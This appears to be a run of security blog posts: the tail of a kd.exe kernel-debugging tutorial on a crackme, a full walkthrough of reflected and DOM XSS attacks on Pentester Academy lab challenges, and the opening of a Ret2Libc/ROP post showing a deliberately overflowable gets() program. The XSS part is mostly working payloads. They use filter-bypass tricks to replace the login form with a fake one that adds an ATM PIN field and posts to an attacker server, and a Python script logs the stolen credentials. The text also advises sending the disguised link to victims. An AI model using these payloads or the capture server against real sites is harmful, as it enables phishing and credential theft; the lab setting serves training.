Now run the crackme application on the debuggee (Windows 7):

Go back to the Windows XP machine and in the debugger terminal window press Control + C:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
Break instruction exception - code 80000003 (first chance)
*******************************************************************************
*                                                                             *
*   You are seeing this message because you pressed either                    *
*       CTRL+C (if you run kd.exe) or,                                        *
*       CTRL+BREAK (if you run WinDBG),                                       *
*   on your debugger machine's keyboard.                                      *
*                                                                             *
*                   THIS IS NOT A BUG OR A SYSTEM CRASH                       *
*                                                                             *
* If you did not intend to break into the debugger, press the "g" key, then   *
* press the "Enter" key now.  This message might immediately reappear.  If it *
* does, press "g" and "Enter" again.                                          *
*                                                                             *
*******************************************************************************
nt!RtlpBreakWithStatusInstruction:
8288e7b8 cc              int     3
kd>

Now we have broken into the kernel, this means that anything we do will be in the context of the kernel, we can see this in the debugger:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
kd> .process
Implicit process is now 844bdae8
kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS 844bdae8  SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 00185000  ObjectTable: 88401c78  HandleCount: 463.
    Image: System

PROCESS 85027020  SessionId: none  Cid: 00ec    Peb: 7ffd4000  ParentCid: 0004
    DirBase: 5f228020  ObjectTable: 89496538  HandleCount:  29.
    Image: smss.exe

PROCESS 85702030  SessionId: 0  Cid: 0140    Peb: 7ffd6000  ParentCid: 0134
    DirBase: 5f228060  ObjectTable: 91695508  HandleCount: 389.
    Image: csrss.exe

PROCESS 84520378  SessionId: 0  Cid: 0170    Peb: 7ffdf000  ParentCid: 0134
    DirBase: 5f2280a0  ObjectTable: 93023448  HandleCount:  87.
    Image: wininit.exe

PROCESS 850e7030  SessionId: 1  Cid: 0178    Peb: 7ffda000  ParentCid: 0168
    DirBase: 5f228040  ObjectTable: 885f5520  HandleCount: 176.
    Image: csrss.exe

PROCESS 8572f530  SessionId: 1  Cid: 0194    Peb: 7ffdb000  ParentCid: 0168
    DirBase: 5f2280c0  ObjectTable: 93020e70  HandleCount: 117.
    Image: winlogon.exe

PROCESS 857e2c48  SessionId: 0  Cid: 01dc    Peb: 7ffd6000  ParentCid: 0170
    DirBase: 5f228080  ObjectTable: 98040678  HandleCount: 245.
    Image: services.exe

PROCESS 857fb980  SessionId: 0  Cid: 01e4    Peb: 7ffdf000  ParentCid: 0170
    DirBase: 5f2280e0  ObjectTable: 9805ba38  HandleCount: 504.
    Image: lsass.exe

PROCESS 857fc678  SessionId: 0  Cid: 01ec    Peb: 7ffdf000  ParentCid: 0170
    DirBase: 5f228100  ObjectTable: 9805dcf0  HandleCount: 144.
    Image: lsm.exe

PROCESS 8582c858  SessionId: 0  Cid: 0258    Peb: 7ffd6000  ParentCid: 01dc
    DirBase: 5f228120  ObjectTable: 98168ef8  HandleCount: 352.
    Image: svchost.exe

PROCESS 85845848  SessionId: 0  Cid: 02a4    Peb: 7ffd3000  ParentCid: 01dc
    DirBase: 5f228140  ObjectTable: 93182530  HandleCount: 241.
    Image: svchost.exe

PROCESS 8585b568  SessionId: 0  Cid: 02e0    Peb: 7ffd7000  ParentCid: 01dc
    DirBase: 5f228160  ObjectTable: 980d5468  HandleCount: 383.
    Image: svchost.exe

PROCESS 85897628  SessionId: 0  Cid: 0350    Peb: 7ffdf000  ParentCid: 01dc
    DirBase: 5f2281a0  ObjectTable: 8ca18bc0  HandleCount: 268.
    Image: svchost.exe

PROCESS 858a7410  SessionId: 0  Cid: 037c    Peb: 7ffda000  ParentCid: 01dc
    DirBase: 5f2281c0  ObjectTable: 8ca8e818  HandleCount: 251.
    Image: svchost.exe

PROCESS 858bf818  SessionId: 0  Cid: 03b4    Peb: 7ffdf000  ParentCid: 01dc
    DirBase: 5f2281e0  ObjectTable: 8ca00b30  HandleCount: 806.
    Image: svchost.exe

PROCESS 858ce658  SessionId: 0  Cid: 03ec    Peb: 7ffd8000  ParentCid: 02e0
    DirBase: 5f228200  ObjectTable: 8cb845d0  HandleCount: 121.
    Image: audiodg.exe

PROCESS 858d37c0  SessionId: 0  Cid: 0400    Peb: 7ffde000  ParentCid: 01dc
    DirBase: 5f228220  ObjectTable: 8cb97f58  HandleCount: 104.
    Image: svchost.exe

PROCESS 858e8238  SessionId: 0  Cid: 0460    Peb: 7ffd6000  ParentCid: 01dc
    DirBase: 5f228240  ObjectTable: 8cbc3380  HandleCount: 351.
    Image: svchost.exe

PROCESS 85707d40  SessionId: 1  Cid: 050c    Peb: 7ffd9000  ParentCid: 0194
    DirBase: 5f228280  ObjectTable: 92cff7b0  HandleCount:  46.
    Image: userinit.exe

PROCESS 8593dd40  SessionId: 1  Cid: 051c    Peb: 7ffda000  ParentCid: 0350
    DirBase: 5f2282a0  ObjectTable: 92d040e0  HandleCount:  71.
    Image: dwm.exe

PROCESS 8594b738  SessionId: 1  Cid: 0538    Peb: 7ffde000  ParentCid: 050c
    DirBase: 5f2282c0  ObjectTable: 92d16c08  HandleCount: 684.
    Image: explorer.exe

PROCESS 8595d990  SessionId: 0  Cid: 055c    Peb: 7ffd8000  ParentCid: 01dc
    DirBase: 5f2282e0  ObjectTable: 980413e8  HandleCount:  75.
    Image: spoolsv.exe

PROCESS 85975d40  SessionId: 1  Cid: 0574    Peb: 7ffdb000  ParentCid: 01dc
    DirBase: 5f228300  ObjectTable: 98087388  HandleCount: 180.
    Image: taskhost.exe

PROCESS 8597c480  SessionId: 0  Cid: 059c    Peb: 7ffd8000  ParentCid: 01dc
    DirBase: 5f228320  ObjectTable: 981644c0  HandleCount: 321.
    Image: svchost.exe

PROCESS 857b1030  SessionId: 0  Cid: 061c    Peb: 7ffdf000  ParentCid: 01dc
    DirBase: 5f228340  ObjectTable: 9361d7c0  HandleCount:  62.
    Image: armsvc.exe

PROCESS 8576a030  SessionId: 0  Cid: 066c    Peb: 7ffd8000  ParentCid: 01dc
    DirBase: 5f228360  ObjectTable: 98192530  HandleCount:  84.
    Image: sqlwriter.exe

PROCESS 857b99c0  SessionId: 0  Cid: 0694    Peb: 7ffd8000  ParentCid: 01dc
    DirBase: 5f228380  ObjectTable: 9765fa30  HandleCount:  92.
    Image: tlntsvr.exe

PROCESS 85996d40  SessionId: 1  Cid: 06bc    Peb: 7ffdf000  ParentCid: 0538
    DirBase: 5f2283a0  ObjectTable: 976b6a40  HandleCount:  64.
    Image: tvnserver.exe

PROCESS 859d92f0  SessionId: 0  Cid: 0708    Peb: 7ffdc000  ParentCid: 01dc
    DirBase: 5f2283e0  ObjectTable: 8d600730  HandleCount: 184.
    Image: tvnserver.exe

PROCESS 859ec4f0  SessionId: 1  Cid: 075c    Peb: 7ffd3000  ParentCid: 06cc
    DirBase: 5f228400  ObjectTable: 9812e900  HandleCount:  48.
    Image: reader_sl.exe

PROCESS 859f7d40  SessionId: 0  Cid: 0220    Peb: 7ffdd000  ParentCid: 01dc
    DirBase: 5f2283c0  ObjectTable: 977880a0  HandleCount: 102.
    Image: svchost.exe

PROCESS 85a68d40  SessionId: 0  Cid: 03c4    Peb: 7ffd9000  ParentCid: 01dc
    DirBase: 5f228260  ObjectTable: 980eb688  HandleCount: 590.
    Image: SearchIndexer.exe

PROCESS 85a4cd40  SessionId: 0  Cid: 04dc    Peb: 7ffd5000  ParentCid: 03c4
    DirBase: 5f228420  ObjectTable: 94285460  HandleCount: 233.
    Image: SearchProtocolHost.exe

PROCESS 85a95d40  SessionId: 0  Cid: 0378    Peb: 7ffd5000  ParentCid: 03c4
    DirBase: 5f228440  ObjectTable: 931b48e8  HandleCount:  79.
    Image: SearchFilterHost.exe

PROCESS 85abfd40  SessionId: 1  Cid: 08e4    Peb: 7ffdf000  ParentCid: 0538
    DirBase: 5f228460  ObjectTable: 92c6b320  HandleCount:  35.
    Image: SomeCrypto~01.exe

kd>

On line 1 I run the .process command without any parameters and it tells us the process we are currently in (844bdae8 is the EPROCESS number).

On line 3 I run the !process extension with 0 0 as its arguments, this lists all of the running processes and some details about them, as you can see from lines 5-7, EPROCESS 844bdae8 is the System process, or the kernel.

What we want to do is change the context to our crackme application, which you can see from lines 141-143 has the EPROCESS of 85abfd40:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
kd> .process /i /r /p 85abfd40
You need to continue execution (press 'g' <enter>) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.
kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
828c97b8 cc              int     3
kd> .process
Implicit process is now 85abfd40
kd>

On line 1 I use the .process command to change the context to our crackme application but before the context can be changed execution needs to be resumed (which is done on line 5).

Now we can set a breakpoint anywhere in the crackme's virtual memory address space, we want to break with them calls to GetDlgItemTextA that were responsible for getting the text in the textboxes of the application (If you are unsure about what I am talking about, please go back and review the previous post):

1
2
3
4
kd> bp USER32!GetDlgItemTextA
kd> bl
 0 e 76213d14     0001 (0001) user32!GetDlgItemTextA
kd>

Now that the breakpoint is set we can resume execution, wait for it to be hit and inspect the memory.

Remember that the prototype for GetDlgItemText is:

1
2
3
4
5
6
UINT WINAPI GetDlgItemText(
  _In_   HWND hDlg,
  _In_   int nIDDlgItem,
  _Out_  LPTSTR lpString,
  _In_   int nMaxCount
);
1
2
3
4
5
6
7
8
9
kd> g
Breakpoint 0 hit
user32!GetDlgItemTextA:
001b:76213d14 8bff            mov     edi,edi
kd> dd esp L4
0012fb6c  0040127f 0002014e 000003e9 0012fc40
kd> da 12fc40
0012fc40  "Enter your name..."
kd>

On line 5 I use the dd command to display 4 double words on the top of the stack. The first dword will be the return address (as you will see in a minute), then we have the first 3 arguments.

The 3rd argument is the address where the buffer for the string is, on line 7 I use the da command to display the ascii value at that address.

Keep in mind that this is the start of the function so the value hasn't been fetched yet, we can see the returned value by tracing through until we are in the calling function using the ug command and checking again:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
kd> gu
001b:0040127f 6a40            push    40h
kd> u
001b:0040127f 6a40            push    40h
001b:00401281 8d942484000000  lea     edx,[esp+84h]
001b:00401288 52              push    edx
001b:00401289 68ea030000      push    3EAh
001b:0040128e 56              push    esi
001b:0040128f ffd7            call    edi
001b:00401291 8d44240c        lea     eax,[esp+0Ch]
001b:00401295 50              push    eax
kd> da 12fc40
0012fc40  "Enter your name..."
kd>

As you can see the value is the same (because we haven't changed the text in the textbox), you can also see the address which it returned back to after executing GetDlgItemTextA was 0040127f, which was the top value on the stack.

Lastly let's resume and make sure it does the same with the other textbox:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
kd> g
Breakpoint 0 hit
user32!GetDlgItemTextA:
001b:76213d14 8bff            mov     edi,edi
kd> dd esp L4
0012fb6c  00401291 0002014e 000003ea 0012fc00
kd> da 12fc00
0012fc00  "Enter your serial..."
kd> gu
001b:00401291 8d44240c        lea     eax,[esp+0Ch]
kd> da 12fc00
0012fc00  "Enter your serial..."

Conclusion

This was only a simple tutorial to get the environment set up and get a basic grasp of kd.exe and some of its commands.

This was by no means an exhaustive list of commands and extensions, the debugger comes with many and has very good documentation.

Hopefully you now have a better understanding of how to debug using kd.exe and you now have the environment to do it in.

Further Reading

The Debugging and Automation chapter in Practical Reverse Engineering by Bruce Dang, Alexandre Gazet and Elias Bachaalany.

Also the kd.exe documentation that ships with the WDK or SDK.

Reflected XSS at PentesterAcademy

By: 0xe7
9 August 2014 at 20:57

Here I will demonstrate 3 XSS attacks against 3 different challenges on Pentester Academy.

Pentester Academy has a large number of courses and challenges devoted to learning penetration testing and improving your skills.

My aim here will be first to demonstrate basic reflected XSS and then show how 2 different filters can be beaten.

XSS is the ability to execute JavaScript inside the browser of anyone who visits a specific webpage usually by injecting a combination of HTML and JavaScript.

Challenge 16: HTML Injection

The first one we'll look at is challenge 16.

This is the actual challenge page, if you browse to it, you should see this:

What I'm going to do is replace the whole form with one of my own which submit's to a server of my choosing and has an extra field but, otherwise, looks exactly the same as the real 1.

First, let's have a look at the vulnerability. First we need to see what happens when we submit a form:

I submitted the form with foo in the username field and bar in the password field. This is the full URL that I end up with:

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1?email=foo&password=bar

As you can see, this was just submitted to the same page as a GET request. As this is the case, we can just manipulate this URL to test the fields, if the form had submitted a POST request, we'd have to keep submitting the form or use something like Burp Suite's Repeater feature.

You can see that the value of the email field has been reflected in the username input box. This is where we can test for a reflected XSS/HTMLi vulnerability.

Before that, let's check the source of this page to see in what context on the page our input has landed, right click on the page and click something like View Source:

So we've landed inside the value attribute of an input tag.

Now let's check if we can use certain characters, send the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1?email=foo"<'()[]>&password=bar

It looks like theres little to no filtering here, we've managed to close the input tag with the greater than (>) character that we sent, but let's look at the source:

So as suspected, there has been no filtering, this makes our job much easier.

Looking at the source code of the vulnerable form, we can figure out any required prefix and suffix:

1
2
3
4
5
6
7
8
9
<form class="form-signin">
  <h2 class="form-signin-heading">Please sign in</h2>
  <input type="text" value="INJECTIONPOINT" class="input-block-level" placeholder="Email address" name="email">
  <input type="password" class="input-block-level" placeholder="Password" name="password">
  <label class="checkbox">
    <input type="checkbox" value="remember-me" name="DoesThisMatter"> Remember me
  </label>
  <button class="btn btn-large btn-primary" type="submit">Sign in</button>
</form>

All we should need to do here is break out of the value attribute and the input tag, to do this we'll need to put a double quote (") (because the value attribute was opened with a ") and >, respectively, at the start of our input.

We should now test for the classic alert box XSS payload with our prefix of "> by sending the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1?email="><script>alert('xss')</script>

It worked, I put the alert statement inside script tags, this is to tell the browser that this is JavaScript to be executed.

If you close the alert box and view the source you should see this:

Using this we can run any JavaScript we want, we just have to replace alert('xss'), and as I will demonstrate this allows us full control over the page that is displayed.

The first thing we need to do is remove the current form so that we can put our own form in its place.

We can find all of the forms on the page using the getElementsByTagName method.

The best way to build your JavaScript payload is to use Firebug, it allows you to write JavaScript dynamically while showing you what methods and attributes each object has avaliable.

If you open firebug, go to the Console tab and type document. if will show you a list of its methods and attributes.

If you look through the whole source of the webpage you will see that there is only 1 form, and getElementsByTagName returns an array containing all of the form objects so to access the actual form we need to run document.getElementByTagName("form")[0] to access the first element of the array:

Each object has a remove method, we can use this to remove the original form.

Also, in JavaScript, all instructions can be put on a single line but they should be seperated by a semi colon (;).

Let's try using the XSS to first remove the form using the method described and then trigger and alert box as we did before, for this we will use the following URL:

pentesteracademylab.appspot.com/lab/webapp/htmli/1?email="><script>document.getElementsByTagName("form")[0].remove();alert('xss')</script>

So that didn't work, let's look at the source and see what happened:

So it appears that our payload was cut off from the ;, we can solve this 2 ways, the first is easiest and most well known, replace the ; with a URL encoded version (%3b):

pentesteracademylab.appspot.com/lab/webapp/htmli/1?email="><script>document.getElementsByTagName("form")[0].remove()%3balert('xss')</script>

That works, but I also want to show you another method incase ;'s are blocked completely, ;'s can be replaced with comma's (,).

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1?email="><script>document.getElementsByTagName("form")[0].remove(),alert('xss')</script>

From this point on I'll use ,'s to seperate the instructions when sent to the server but in my examples while building the JavaScript payload I'll use ;'s.

Now we need to create the new form, we can do this using the createElement and appendChild methods, as well as the className, innerHTML, placeholder, name, type and action attributes.

Here is a full version of the Javascript that will build the form that we want and ensure it has all of the necessary attributes to make it look athentic:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
var form = document.createElement("form");
var head = document.createElement("h2");
head.className = "form-signin-heading";
head.innerHTML = "Please sign in";
var user = document.createElement("input");
var pass = document.createElement("input");
var atm = document.createElement("input");
user.className = "input-block-level";
pass.className = "input-block-level";
atm.className = "input-block-level";
user.placeholder = "Username";
user.name = "un";
user.type = "text";
pass.name = "pw";
pass.placeholder = "Password";
pass.type = "password";
atm.name = "atm";
atm.placeholder = "ATM PIN";
atm.type = "password";
var button = document.createElement("button");
button.className = "btn btn-large btn-primary";
button.type = "submit";
button.innerHTML = "Login";
form.appendChild(head);
form.appendChild(user);
form.appendChild(pass);
form.appendChild(atm);
form.appendChild(button);
form.className="form-signin";
form.action="http://localhost:9000/";

All of the information here, especially the class names, I got from the original form. I've created a new form field on line 7 and set its settings on lines 10, 17, 18 and 19.

On line 30, I set the form action to http://localhost:9000/, this means when the form is submitted it will send the request to localhost on port 9000, this could be set to any value/server under the attackers control.

The completed form is contained inside the form variable.

The last thing to do is place the form at the right place on the page. If you look through the source, the form is placed inside a div tag with the class container, before a div tag with a class well.

We can find both of these using the getElementsByClassName method and we can insert it using the insertBefore, here is the code for this:

1
2
3
var container = document.getElementsByClassName("container")[0];
var element = document.getElementsByClassName("well")[0];
container.insertBefore(form, element);

Now we have all of the code we want to run, we just need to shrink the code as much as possible, we do this because in any exploit its best to keep the payload as small as possible so there is less chance of it being noticed.

Firstly all of the spaces need to be removed, in most situations spaces only make the code easier to read, next we can shrink all of the variable names down to 1 character, let's just take the first character of each as their name, unless use strict; is used on the page (which it isn't) there is no need to declare the variables with the var keyword and lastly we use the document object repeatedly, we can create a variable with a 1 character name that point to it and use the variable instead (d=document;).

After applying the rules above, moving everything to 1 line and changing the ;'s with ,'s you get the following code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
d=document,d.getElementsByTagName("form")[0].remove(),f=d.createElement("form
"),h=d.createElement("h2"),h.className="form-signin-heading",h.innerHTML="Ple
ase sign in",u=d.createElement("input"),p=d.createElement("input"),a=d.create
Element("input"),u.className="input-block-level",p.className="input-block-lev
el",a.className="input-block-level",u.placeholder="Username",u.name="un",u.ty
pe="text",p.name="pw",p.placeholder="Password",p.type="password",a.name="atm"
,a.placeholder="ATM PIN",a.type="password",b=d.createElement("button"),b.clas
sName="btn btn-large btn-primary",b.type="submit",b.innerHTML="Login",f.appen
dChild(h),f.appendChild(u),f.appendChild(p),f.appendChild(a),f.appendChild(b)
,f.className="form-signin",f.action="http://localhost:9000/",c=d.getElementsB
yClassName("container")[0],e=d.getElementsByClassName("well")[0],c.insertBefo
re(f,e)

We could probably shrink this down some more but this will do for now.

To send this payload we have to send the payload inbetween the script tags, after that you should see the following:

Looking at the source we can see that it has been injected fine:

Python Capture Server

I've written a little python script using SimpleHTTPServer to capture these details:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python

import SocketServer
import SimpleHTTPServer

class HTTPRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler):

    def do_GET(self):
        qs = self.path.split("?")[1]
        args = qs.split("&")
        c, p = self.client_address
        un = pw = ""
        for arg in args:
            name = arg.split("=")[0]
            value = arg.split("=")[1]
            if name == "un":
                print c + " - UN: " + value
                un = value
            elif name == "pw":
                print c + " - PW: " + value
                pw = value
            elif name == "atm":
                print c + " - ATM: " + value
        self.send_response(301)
        self.send_header('Location','http://pentesteracademylab.appspot.com/lab/webapp/htmli/1?email=' + un + '&password=' + pw)
        self.end_headers()

httpServer = SocketServer.TCPServer(("", 9000), HTTPRequestHandler)
httpServer.serve_forever()

This server is set to print the values to stdout and then redirect to the actual application.

With the above python server running, when our custom form is submitted you get the following:

And the output on the python server's stdout:

1
2
3
4
127.0.0.1 - UN: Username
127.0.0.1 - PW: S0m%C2%A3S3cr3tP4ssw0rd
127.0.0.1 - ATM: 1234
127.0.0.1 - - [10/Aug/2014 17:40:08] "GET /?un=Username&pw=S0m%C2%A3S3cr3tP4ssw0rd&atm=1234 HTTP/1.1" 301 -

So that is challenge 16 completed for what we wanted to achieve and everything is transparent to the end user, you just need to send the malicious link to the target.

Challenge 16 Secure

The next challenge is here, some filtering has been added to mitigate the previous exploit.

First let's look at the challenge:

This looks exactly the same as the last challenge, so let's use the application and see if that is the same:

So far everything looks the same, even the URL we are sent to:

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1/secure?email=foo&password=bar

Let's analyse this application the same way as before by sending the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1/secure?email=foo"<'()[]>

Looks interesting, let's look at the source:

So < and > has been encoded but " hasn't, looks like we'll have to use an event handler to run our JavaScript this time.

Ideally we want the event handler to run without any interaction, a lot of the event handlers require some interaction.

We are landing inside an input tag and 1 event we can hook is the onfocus event, but we need to make sure that the input box is in focus when the page loads, for this we can use the autofocus attribute.

So we now need a new prefix for our payload, we need to close the value attribute, with a ", we then need a space and the autofocus keyword, then a space and lastly onfocus=", so we end up with:

" autofocus onfocus="

After this there is no need to put any script tags, we can't anyway because < and > gets encoded.

Let's try executing an alert box to test if XSS works here, we need to send the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/htmli/1/secure?email=" autofocus onfocus="alert('xss')

So we can now run JavaScript on this page, we will recreate the exact same attack as last time, the only change we need is to replace every " with a single quote ('), then we end up with this as our JavaScript:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
d=document,d.getElementsByTagName('form')[0].remove(),f=d.createElement('form
'),h=d.createElement('h2'),h.className='form-signin-heading',h.innerHTML='Ple
ase sign in',u=d.createElement('input'),p=d.createElement('input'),a=d.create
Element('input'),u.className='input-block-level',p.className='input-block-lev
el',a.className='input-block-level',u.placeholder='Username',u.name='un',u.ty
pe='text',p.name='pw',p.placeholder='Password',p.type='password',a.name='atm'
,a.placeholder='ATM PIN',a.type='password',b=d.createElement('button'),b.clas
sName='btn btn-large btn-primary',b.type='submit',b.innerHTML='Login',f.appen
dChild(h),f.appendChild(u),f.appendChild(p),f.appendChild(a),f.appendChild(b)
,f.className='form-signin',f.action='http://localhost:9000/',c=d.getElementsB
yClassName('container')[0],e=d.getElementsByClassName('well')[0],c.insertBefo
re(f,e)

Sending this in place of alert('xss') in our previous request gives us the following:

Looking at the source, we can see how our payload got interpreted:

Now we are in the same position as we were when we'd got our custom form on the other page.

Last Challenge: DOM XSS

This is the last challenge I'd like to demonstrate.

Even though this challenge is very different I want to create the same exploit where I create a custom form and put it on the page in a similar position as the previous examples.

Its quite a bit more difficult to exploit but let's get to it and have a look at how it works:

Its clearly doing some maths here based on the value of the statement argument given in the address bar, let's look at the source:

So we are landing inside script tags and our input is being used as an argument to eval.

This time, however, we can't see how our payload is being interpreted directly.

We should be able to run any JavaScript inside here though, let's try a normal alert box by sending the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/jfp/dom?statement=alert('xss')

That didn't work, let's open Firebug, open the console tab and try again (this should show us any error's that happened while it was executing any JavaScript):

So the problem is that the ' are URL encoded... This is because, as you can see from the source code, it is accessing the argument using the document.URL property where certain characters are URL encoded so we will be unable to use any types of quotes (' or ").

There are probably a few ways to beat this problem, an obvious 1 is to avoid using strings but we are unable to do that here.

The way I like to get around this is to use String objects and using forward slashes (/) at the beginning and end to imply it is a regular expression.

Let's try to execute an alert using this method, we need to send the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/jfp/dom?statement=alert(String(/xss/))

So it worked but we have / surrounding the string, we can use the substring method and the length property to remove these, we need to send the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/jfp/dom?statement=x=String(/xss/),alert(x.substring(1,x.length-1))

We will be using the String and substring methods a lot, so it would be best if we create aliases for these to shorten our payload, we can create a function for the substring section like this:

y=function(z){return/**/z.substring(1,z.length-1)}

I have used /**/ here because we are also unable to use spaces (they are URL encoded too) and this just acts as a comment.

This function takes 1 argument and returns the string with the first and last character removed.

We can create an alias for the String method using this code:

S=String

Before we start to write our payload, let's test this with an alert by sending the following URL:

http://pentesteracademylab.appspot.com/lab/webapp/jfp/dom?statement=S=String,y=function(z){return/**/z.substring(1,z.length-1)},alert(y(S(/xss/)))

So it works, lastly all we need to do is remove the string Mathemagic and the div tag that contains the result.

Looking at the source we can see that the Mathemagic string is contained in a h2 tag and there are no other h2 tags on the page, so we can find this using the getElementsByTagName method.

The result is contained inside a div tag which has the id value set to result, so we can find this using the getElementById method.

Both of these we can remove using the remove method.

We are now ready to write our payload, here is the "beutified" version of the payload, remember that this all goes on 1 line and with , seperating the instructions and not ;:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
S=String;
y=function(z){
    return/**/z.substring(1,z.length-1);
};
d=document;
f=d.createElement(y(S(/form/)));
h=d.createElement(y(S(/h2/)));
h.className=y(S(/form-signin-heading/));
h.innerHTML=y(S(/Please&#32sign&#32in/));
z=S(/input/);
u=d.createElement(y(z));
p=d.createElement(y(z));
a=d.createElement(y(z));
z=S(/input-block-level/);
u.className=y(z);
p.className=y(z);
a.className=y(z);
u.placeholder=y(S(/username/));
u.name=y(S(/un/));
u.type=y(S(/text/));
p.name=y(S(/pw/));
p.placeholder=y(S(/Password/));
z=S(/password/);
p.type=y(z);
a.type=y(z);
a.name=y(S(/atm/));
a.placeholder=y(S(/ATMPIN/));
b=d.createElement(y(S(/button/)));
b.className=y(S(/btn/));
b.classList.add(y(S(/btn-large/)));
b.classList.add(y(S(/btn-primary/)));
b.type=y(S(/submit/));
b.innerHTML=y(S(/Login/));
f.appendChild(h);
f.appendChild(u);
f.appendChild(p);
f.appendChild(a);
f.appendChild(b);
f.className=y(S(/form-signin/));
f.action=y(S(/http:\/\/localhost:9000\//).replace(/\\/g,String()));
c=d.getElementsByClassName(y(S(/container/)))[0];
e=d.getElementsByClassName(y(S(/well/)))[0];
c.insertBefore(f,e);
c.getElementsByTagName(y(S(/h2/)))[0].remove();
d.getElementById(y(S(/result/))).remove()

So using this the URL that you will need to send is:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
pentesteracademylab.appspot.com/lab/webapp/jfp/dom?statement=S=String,y=funct
ion(z){return/**/z.substring(1,z.length-1)},d=document,f=d.createElement(y(S(
/form/))),h=d.createElement(y(S(/h2/))),h.className=y(S(/form-signin-heading/
)),h.innerHTML=y(S(/Please&#32sign&#32in/)),z=S(/input/),u=d.createElement(y(
z)),p=d.createElement(y(z)),a=d.createElement(y(z)),z=S(/input-block-level/),
u.className=y(z),p.className=y(z),a.className=y(z),u.placeholder=y(S(/usernam
e/)),u.name=y(S(/un/)),u.type=y(S(/text/)),p.name=y(S(/pw/)),p.placeholder=y(
S(/Password/)),z=S(/password/),p.type=y(z),a.type=y(z),a.name=y(S(/atm/)),a.p
laceholder=y(S(/ATMPIN/)),b=d.createElement(y(S(/button/))),b.className=y(S(/
btn/)),b.classList.add(y(S(/btn-large/))),b.classList.add(y(S(/btn-primary/))
),b.type=y(S(/submit/)),b.innerHTML=y(S(/Login/)),f.appendChild(h),f.appendCh
ild(u),f.appendChild(p),f.appendChild(a),f.appendChild(b),f.className=y(S(/fo
rm-signin/)),f.action=y(S(/http:\/\/localhost:9000\//).replace(/\\/g,String()
)),c=d.getElementsByClassName(y(S(/container/)))[0],e=d.getElementsByClassNam
e(y(S(/well/)))[0],c.insertBefore(f,e),c.getElementsByTagName(y(S(/h2/)))[0].
remove(),d.getElementById(y(S(/result/))).remove()

After sending this URL you should see the following:

PWNED!!! :-)

Conclusion

For the last to exploits, the redirection URL of the python server would have to be changed.

XSS exploits can vary greatly, but as long as you can get JavaScript to run you should be able to get full control over the page.

There are various methods for bypassing different filters and I've only mentioned a couple here but the methods that you use will highly depend on the filter that you are facing.

A lot of trial and error is needed to determine how best to bypass the filter than is in place.

In each of these examples, to take advantage of the exploit, you need to send the URL that we have created to the victim. A URL containing all of this information might look very strange to the victim so it might be best to URL encode the whole payload, you can do this in BurpSuite's Decoder tab or on a website like this, its worth noting though that Burp will URL encode all of the text (incuding any alphanumeric characters), that website (like most) will only encode certain characters.

Further Reading

OWASP is the authority on web security so their website contains any relavent information regarding this.

The OWASP XSS page and XSS filter evasion cheat sheet are very good resources.

Also, the OWASP testing guide has a great page on how to go about testing for XSS.

Ret2Libc and ROP

By: 0xe7
6 August 2014 at 14:43

So far, all of our exploits have included shellcode, on most (if not all) modern systems it isn't possible to just run shellcode like this because of NX.

NX disallows running code in certain memory segments, primarily memory segments that contain variable data, like the stack and heap.

A number of techniques were created to beat NX and I want to demostrate 2 of them here, return to libc (Ret2Libc) and return-oriented programming (ROP).

This will be slightly different to my previous posts as I will not be hacking an application that I wrote but instead taking on 2 challenges from the protostar section of exploit exercises.

The challenges that we will look at here are stack6 and stack7.

While these challenges have both NX and ASLR disabled they both implement their own protection which disables the straight running of shellcode.

Stack6: The App

So if you look at the webpage for stack6, it actually gives you the source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
    printf("bzzzt (%p)\n", ret);
    _exit(1);
  }

  printf("got path %s\n", buffer);
}

